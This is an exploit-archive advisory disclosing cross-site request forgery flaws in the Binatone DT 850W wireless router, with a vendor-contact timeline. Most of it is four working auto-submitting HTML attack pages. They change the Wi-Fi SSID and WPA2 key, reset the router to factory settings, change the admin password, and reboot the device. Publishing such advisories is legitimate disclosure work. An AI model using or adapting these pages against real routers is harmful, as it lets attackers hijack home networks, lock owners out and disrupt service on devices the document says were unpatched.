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Binatone DT 850W Router Cross Site Request Forgery

Binatone DT 850W Router Cross Site Request Forgery
Posted May 22, 2014
Authored by Samandeep Singh

Binatone DT 850W wireless router suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
MD5 | 073f3219c4b0f1399c4c52446c0387c6

Binatone DT 850W Router Cross Site Request Forgery

Change Mirror Download
# Exploit Title: Binatone DT 850W Wireless Router - Multiple CSRF Vulnerabilities
# Date: 05/20/2014
# Author: Samandeep Singh - SaMaN( @samanL33T )
# Vendor Homepage:http://www.binatonetelecom.in/4port-adsl2-wifi-router1.html
# Category: Hardware/Wireless Router
# Firmware Version: T6W-A1.005 and below
# Tested on: Binatone DT 850W Wireless Router
# Patch/ Fix: Vendor has not provided any fix for this yet
---------------------------------------------------

Disclosure Timeline
~~~~~~~~~~~~~~~~~~
04/23/2014 Contacted Vendor
04/26/2014 Vendor Replied
04/26/2014 Vulnerability Explained (No reply received)
05/04/2014 Vendor notified about full disclosure in 15 days (No reply)
05/20/2014 Full Disclosure

Technical Details
~~~~~~~~~~~~~~~~~
Binatone DT 850W Wireless Router has a Cross Site Request Forgery Vulnerability in its Web Console. Attacker can easily change Wireless password, SSId of Wireless network,Reboot Router, Reset Router,Change Router's Admin Password by simply making the user visit a CSRF link.

Exploit Code
~~~~~~~~~~~~

Change Wifi (WPA2/PSK) password & SSID by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[TARGET/IP]/Forms/home_wlan_1"
method="POST" name="form">
<input type="hidden" name="wlanWEBFlag" value="0">
<input type="hidden" name="AccessFlag" value="0">
<input type="hidden" name="wlan_APenable" value="1">
<input type="hidden" name="Countries_Channels" value="INDIA">
<input type="hidden" name="Channel_ID" value="00000000">
<input type="hidden" name="BeaconInterval" value="100">
<input type="hidden" name="RTSThreshold" value="2347">
<input type="hidden" name="FragmentThreshold" value="2346">
<input type="hidden" name="DTIM" value="1">
<input type="hidden" name="WirelessMode" value="802.11b+g+n">
<input type="hidden" name="WLANChannelBandwidth" value="20/40 MHz">
<input type="hidden" name="WLANGuardInterval" value="AUTO">
<input type="hidden" name="WLANMCS" value="AUTO">
<input type="hidden" name="wlan_MBSSIDNumber" value="2">
<input type="hidden" name="WLSSIDIndex" value="1">
<input type="hidden" name="ESSID_HIDE_Selection" value="0">
<input type="hidden" name="ESSID" value="[SSID]">
<input type="hidden" name="WEP_Selection" value="WPA2-PSK">
<input type="hidden" name="TKIP_Selection" value="AES">
<input type="hidden" name="PreSharedKey" value="[PASSWORD]">
<input type="hidden" name="WPARekeyInter" value="3600">
<input type="hidden" name="WDSMode_Selection" value="0">
<input type="hidden" name="WLAN_FltActive" value="0">
<input type="hidden" name="wlanRadiusWEPFlag" value="0">
<input type="hidden" name="MBSSIDSwitchFlag" value="2">
</form>
</body>
</html>

Factory Reset Router Settings by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://TARGET/IP]Forms/tools_system_1"
method="POST" name="form">
<input type="hidden" name="restoreFlag" value="1">
</form>
</body>
</html>


Change Router's Admin Password by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[TARGET/IP]/Forms/tools_admin_1"
method="POST" name="form">
<input type="hidden" name="uiViewTools_Password" value="[PASSWORD]">
<input type="hidden" name="uiViewTools_PasswordConfirm" value="[PASSWORD]">
</form>
</body>
</html>


Restart Router by CSRF
~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://TARGET/IP]/Forms/tools_system_1"
method="POST" name="form">
<input type="hidden" name="restoreFlag" value="0">
</form>
</body>
</html>


--
SaMaN
twitter : @samanL33T <https://twitter.com/samanL33T>

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